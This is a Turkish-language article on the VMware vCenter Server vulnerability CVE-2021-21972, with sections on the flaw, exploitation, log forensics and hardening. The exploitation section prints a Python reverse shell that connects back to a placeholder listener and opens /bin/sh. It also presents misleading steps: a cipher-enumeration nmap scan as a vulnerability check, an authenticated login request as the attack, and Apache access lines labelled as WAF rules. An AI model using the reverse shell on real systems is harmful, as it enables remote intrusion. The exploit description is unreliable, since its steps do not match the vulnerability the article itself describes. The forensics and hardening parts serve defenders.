CVE-2021-21972: VMware vCenter Server Remote Code Execution Vulnerability

Zorluk Seviyesi: Orta | Kaynak: CISA KEV

Zafiyet Analizi ve Giriş

CVE-2021-21972, VMware vCenter Server üzerinde ciddi bir uzaktan kod yürütme (RCE) zafiyetidir. VMware, bulut altyapısı ve sanallaştırma çözümleri sunan bir liderdir. vCenter Server, VMware’in sanal sunucularını yönetmek için kullanılan bir uygulamadır. Bu zafiyet, vSphere Client içinde yer alan bir vCenter Server eklentisinden kaynaklanmaktadır ve bu eklentiye sahip olan bir sunucuya port 443 üzerinden ağ erişimi olan bir saldırgan, işletim sistemi üzerinde sınırsız ayrıcalıklarla komutlar çalıştırabilir. Bu durum, kötü niyetli bir saldırganın hedef sistem üzerinde tam kontrol elde etmesine olanak tanır.

Zafiyetin kökeni, VMware vCenter Server’ın kod tabanında yer alan bir yapılandırma hatasına dayanmaktadır. Söz konusu hata, özellikle vSphere Client üzerinden gerçekleştirilen bazı işlemlerde, kullanıcıların yetkilerini aşarak işletim sisteminin hassas alanlarına erişim sağlamalarına sebep olmuştur. Bu zaafiyet, zararlı yazılımların veya kötü niyetli kodların sistem üzerinde çalıştırılmasına olanak tanımasının yanı sıra, kurumsal verilerin çalınması ya da silinmesi gibi ciddi sonuçlar doğurabilir.

CVE-2021-21972 zafiyetinin dünya genelindeki etkisi büyüktür. Özellikle finans, sağlık, eğitim ve devlet sektörü gibi kritik sektörlerdeki kurumlar, bu zafiyetin hedefi olmuştur. Bu tür sistemler genellikle hassas veri işleme ve saklama işlemleri gerçekleştirir. Dolayısıyla, bu tür zafiyetlerin kullanılması, yalnızca ekonomik kayıplara yol açmakla kalmaz, aynı zamanda müşteri güvenini de zedeler. Gerçek dünya senaryolarında, bu zafiyetin kullanılması durumlarında, saldırganlar genellikle kuruma ait kritik verilere erişmek amacıyla sosyal mühendislik taktikleri ve diğer saldırı yöntemleri ile birleştirerek daha geniş çaplı saldırılar düzenleyebilirler.

Güvenlik araştırmacıları, zafiyetin yayılma potansiyelini değerlendirirken, bu tür zafiyetlere karşı koruma önlemleri almadıkları takdirde, birçok kullanıcının etkilenebileceğini belirtmişlerdir. Özellikle, hedef alınan ağlar arasında güçlü güvenlik duvarları ve izleme sistemlerinin bulunmaması durumu, saldırganların vCenter Server üzerinde hızlı ve etkili bir şekilde hareket etmelerini kolaylaştırır.

Bu tür zafiyetlerin yönetimi ve korunması için, kullanıcıların sadece yazılımlarını güncel tutmaları yeterli değildir; aynı zamanda, ağ mimarilerini güçlendirerek, port bazlı erişimleri sıkı bir şekilde denetlemeleri ve izlemeleri de önemlidir. Zafiyetin ortaya çıkardığı riskler göz önüne alındığında, sistem yöneticilerinin ve güvenlik uzmanlarının, bu tür durumları göz önünde bulundurarak güvenlik stratejilerini gözden geçirmeleri ve potansiyel riskleri en aza indirmek için gerekli adımları atmaları hayati önem taşımaktadır.

Sonuç olarak, CVE-2021-21972 zafiyeti, VMware vCenter Server kullanan sistemlerde ciddi sorunlara yol açabilecek bir durumdur. Güvenlik açıklarına karşı proaktif önlemler almak ve sistemleri düzenli olarak denetlemek, bu tür tehditlere karşı en iyi savunmadır. Unutulmamalıdır ki, her bir zafiyet, eğitim ve bilinçlenme ile birlikte önem arz eden bir risk faktörüdür.

Teknik Sömürü (Exploitation) ve PoC

VMware vCenter Server'daki CVE-2021-21972 zafiyeti, kötü niyetli bir saldırganın ağ erişimine sahip olması durumunda, vCenter Server eklentisi üzerinden uzaktan kod çalıştırmasına (Remote Code Execution - RCE) olanak tanımaktadır. Bu tür zafiyetler, organizasyonların mülkleri üzerinde tam kontrol elde etmek için kullanılabilir. Bu yazıda, bu zafiyeti nasıl sömürebileceğimizi ve bir Proof of Concept (PoC) oluşturmanın adımlarını inceleyeceğiz.

Öncelikle, zafiyetin çalışabilmesi için saldırganın vCenter Server’a (genellikle HTTPS üzerinden) erişim sağlaması gerekmektedir. Eğer bu erişim sağlanırsa, saldırgan komutlar çalıştırma yetkisine sahip olabilir. Bunu başarmak için aşağıdaki adımları izleyebilirsiniz:

Hedef Belirleme ve Zafiyetin Tespiti: Öncelikle, vCenter Server’ın çalıştığı IP adresini veya domain adını belirleyin. Bunun ardından, zafiyetin mevcut olup olmadığını kontrol etmek için bir yapılandırma taraması gerçekleştirebilirsiniz. Bu aşamada kullanılan bir araç, Nmap ile belirli portların açık olup olmadığına bakmak olabilir. Aşağıda basit bir Nmap komutu örneği verilmiştir:
```
nmap -p 443 --script ssl-enum-ciphers [hedef_IP]
```
Zafiyetin Kullanılabilirliğini Değerlendirin: Elde edilen sonuçlara göre hedef sistemin yamanmamış bir versiyonunu çalıştırıp çalıştırmadığını kontrol edin. Eğer zafiyet mevcutsa, bir exploit geliştirmeye veya mevcut bir exploit'i kullanmaya hazırsınız.

Sömürü İçin Gerekli Yükü Hazırlayın: Sömürü sırasında kullanmak üzere bir "payload" (yük) oluşturmalısınız. Bu payload, örneğin basit bir shell komutu ya da uzaktan bir kabuk (reverse shell) olabilir. Python ile basit bir reverse shell yazabilirsiniz:

import socket
import subprocess
import os

s = socket.socket()
s.connect(("yeni_ip_adresi", 1234))  # dinleme yapacak ip ve port
os.dup2(s.fileno(), 0)  # stdin
os.dup2(s.fileno(), 1)  # stdout
os.dup2(s.fileno(), 2)  # stderr
p = subprocess.call(["/bin/sh", "-i"])

Saldırıyı Gerçekleştirme: Zafiyeti kullanmak için bir HTTP isteği gönderebilirsiniz. Aşağıda, gerekli HTTP isteklerini göstermek için curl aracıyla bir örnek verilmiştir.
```
curl -k -X POST https://[hedef_IP]/rest/com/vmware/cis/session -H 'Content-Type: application/json' -d '{"username":"admin","password":"password"}'
```
Yukarıdaki istekte, kendi kullanıcı adınızı ve parolanızı girerek oturum açabilirsiniz. İlerleyen adımlarda, sistem üzerinde yük gönderme aşamasına geçebilirsiniz. Zafiyetin etkisini artırmak için özellikle özel HTTP başlıkları kullanmak gerekebilir.
Sonuçları İzleme: Başarılı bir sömürü sonrası, sistemde aktif olan işlemleri izlemek için kullanılabilecek araçlar vardır. Hedefte başka bir işlem çalıştırabilir ya da belirli bilgileri toplayarak daha fazla bilgi edinmeye çalışabilirsiniz. Örneğin, çalışan süreçleri görmek için uzaktan bir terminalde şu komutu kullanabilirsiniz:
```
ps aux
```

Unutmayın ki bu tür zafiyetlerin sömürülmesi kesinlikle etik olmayan ve yasalara aykırı bir eylemdir. Yukarıda belirtilen adımlar, yalnızca bilgi güvenliği uzmanlarının (white hat hacker) eğitim amacıyla kullanabileceği teknik bilgiler sunmaktadır. Zafiyetleri sömürmek ya da zarar vermek, yasal sonuçlar doğurabilir ve etik olmayan bir davranış biçimidir. Her zaman etik hackerlık kurallarına ve yasalara uygun hareket etmeliyiz.

Forensics (Adli Bilişim) ve Log Analizi

VMware vCenter Server, sanal sunucu yönetimi için hayati bir bileşen olarak hizmet verirken, CVE-2021-21972 güvenlik açığı ciddi bir tehdit oluşturuyor. Bu zafiyet, saldırganların port 443 üzerinden vCenter Server'a erişim sağladıklarında, sistem üzerinde sınırsız ayrıcalıklarla komutlar çalıştırmalarını mümkün kılarak, uzaktan kod yürütme (RCE - Remote Code Execution) saldırılarına kapı aralamaktadır. Bu makalede, siber güvenlik uzmanlarının adli bilişim (forensics) ve log analizi kullanarak bu tür bir saldırının tespit edilmesinde dikkat etmesi gereken faktörleri ele alacağız.

Adli bilişim incelemeleri sırasında, bir siber güvenlik uzmanı öncelikle log dosyalarını dikkatlice incelemelidir. VMware vCenter Server'da genellikle iki tür log dosyası mevcuttur: Access log (erişim kaydı) ve error log (hata kaydı). Bu log dosyaları, saldırının izlerini tespit etmek için kritik öneme sahiptir. Özellikle, erişim kayıtları, sistemin ne zaman, kim tarafından ve hangi IP adresine erişim sağlandığını gösterir. Aşağıda, uzmanların dikkat etmesi gereken bazı önemli imzalar (signature) ve olası göstergeler sıralanmıştır:

Şüpheli IP Adresleri: Log dosyalarında tekrarlayan veya beklenmedik IP adresleri bulmak, saldırının başlangıcını işaret edebilir. Özellikle bilinen bir zararlı IP listesine veya coğrafi olarak beklenmedik bir bölgeden gelen bağlantılara dikkat edilmelidir.
Başarısız Giriş Girişimleri: Kullanıcı kimlik denetimini atlatmaya çalışmak, bir saldırganın sistemde daha derinlemesine erişim elde etmek için yaptığı çabalara işaret edebilir. Error log'larda bulunan "403 Forbidden" veya "401 Unauthorized" hataları bu tür girişimlerin kanıtı olabilir.
Aşırı API Çağrıları: vCenter Server API’sinin aşırı kullanımı, bir saldırganın uzaktan kod yürütme (RCE) gerçekleştirirken çok sayıda API çağrısı yapabileceğine işaret eder. Log dosyalarında hesaplamak gerekirse, normal kullanıcı davranışlarının çok üzerinde bir API çağrısı bulunması, potansiyel bir saldırıyı meydana çıkarabilir.
Zararlı Komutlar: Bir saldırganın başarılı bir şekilde sisteme erişim sağladıktan sonra hangi komutları yürüttüğünü belirlemek de oldukça önemlidir. Erişim kayıtlarında, beklenmedik veya zararlı olan komutları incelemek, saldırının boyutunu anlamak açısından kritik bir adımdır. Örneğin, sistemde veri sızıntısına veya zararlı yazılım yüklemeye yönelik işaretler bulmak gerekebilir.
Zaman Damgaları: Log dosyalarındaki zaman damgaları, bir saldırının ne zaman gerçekleştiğine dair bilgiler sağlar. Zamanlamanın mevcut saldırı trendleri veya belirli günlerdeki davranışlarımızla örtüşüp örtüşmediğine dikkat edilmelidir.

Sonuç olarak, VMware vCenter Server'da bulunan CVE-2021-21972 zafiyeti, geniş bir siber saldırgan kitlesinin hedefi haline gelebilir. Siber güvenlik uzmanlarının bu tür bir sızmanın belirlenmesinde dikkat edeceği faktörler arasında log analizinin yanı sıra, belirli imzalara (signature) odaklanmak da kritik bir öneme sahiptir. Güvenlik ihlallerini erken tespit etmek ve önlem almak için log dosyalarındaki genel davranış kalıplarını ve anormal durumları dikkatlice izlemek gerekmektedir. Unutulmamalıdır ki, her siber saldırı, olayın meydana gelmesi ile birlikte yeni bir öğrenme fırsatı sağlar; bu nedenle, sürekli eğitim ve gelişimin yanı sıra, log analizi yetenekleri de sürekli geliştirilmelidir.

Savunma ve Sıkılaştırma (Hardening)

VMware vCenter Server, sanallaştırma ortamlarının yönetiminde kritik bir rol oynamaktadır. Ancak, CVE-2021-21972 güvenlik açığı, bir vCenter Server eklentisi aracılığıyla uzak kod yürütme (Remote Code Execution - RCE) yeteneği sunarak potansiyel bir tehdit oluşturuyor. Bu zafiyet, saldırganların yalnızca 443 numaralı port üzerinden ağ erişimine sahip olmaları durumunda, altta yatan işletim sisteminde sınırsız ayrıcalıklarla komut yürütmelerine olanak tanımaktadır. Bu bağlamda, işletmelerin doğru bir şekilde savunma ve sıkılaştırma (hardening) uygulamaları oluşturması kritik öneme sahiptir.

Öncelikle, bu tür bir zafiyetin nasıl istismar edilebileceği konusunda bir senaryo düşünelim. Bir saldırgan, hedef ağda geçerli bir IP adresine sahip olduğunda, vCenter Server’ın web arayüzü üzerinden kimlik doğrulama gereksinimlerini aşabilir (Auth Bypass). Ardından, eklenti kullanarak RCE gerçekleştirecek şekilde kötü amaçlı komutlar enjekte edebilir. Bu süreçte, tekrar eden hayat döngüleri, güvenlik duvarlarını (firewall) aşarak hedef sisteme erişim sağlayabilir. İşte tam da bu noktada savunma stratejileri devreye girmektedir.

Birinci adım, VMware vCenter Server güncellemelerinin zamanında uygulanmasıdır. VMware, bu tür zafiyetleri kapatacak yamalar sağlamaktadır. Dolayısıyla, sistem yöneticileri güncellemeleri düzenli olarak kontrol etmeli ve uygun zamanlarda uygulamalıdır.

İkinci olarak, alternatif güvenlik duvarı kuralları (WAF - Web Application Firewall) oluşturmak önemlidir. 443 numaralı portun yalnızca belirli IP adreslerine açık tutulması, saldırganların geniş bir alan taraması yapmasını engelleyebilir. Bu yüzden aşağıdaki gibi özel WAF kuralları tanımlanabilir:

# Belirli IP adreslerine izin ver
Allow from 192.168.1.0/24

# Diğer tüm IP adreslerini engelle
Deny from all

Üçüncü önlem, sadece gerekli eklentilerin etkinleştirilmesi ve kullanılmayanların devre dışı bırakılmasıdır. Çeşitli eklentiler, potansiyel zafiyetler üzerinde kurulu bir yük oluşturabilir. Dolayısıyla, kullanıcılar yalnızca ihtiyaç duydukları eklentileri etkinleştirerek risklerini azaltabilirler.

Dördüncü olarak, ağ segmentasyonu uygulamak, bir saldırganın iç ağa erişimini zorlaştırabilir. Bu sayede, saldırganların vCenter'ı hedef alması durumunda elde edeceği etki sınırlandırılabilir. Örneğin, vCenter Sunucusu’nun bulunduğu ağ segmentinin yalnızca sanal makinelerin yönetiminde yer alan yöneticilere erişim izni olacak şekilde düzenlenmesi gerekmektedir.

Son olarak, güvenlik farkındalığı eğitimi vermek de oldukça kritik bir unsurdur. Sistem yöneticileri, potansiyel zafiyetleri ve ihlalleri tanıyabilme becerisine sahip olmalıdır. Güvenli şifreleme ve erişim kurallarının uygulanması da kritik bir husustur.

CVE-2021-21972 güvenlik açığı, herhangi bir organizasyon için büyük bir risk taşımaktadır; ancak yukarıda belirtilen savunma stratejileri ve sıkılaştırma önlemleri, bu riskleri azaltabilmek adına etkili yöntemler sunar. Herkesin üzerine düşen sorumluluk, bu tür sistemleri koruyabilmek için gerekli önlemleri almak ve düzenli olarak gözden geçirmektir.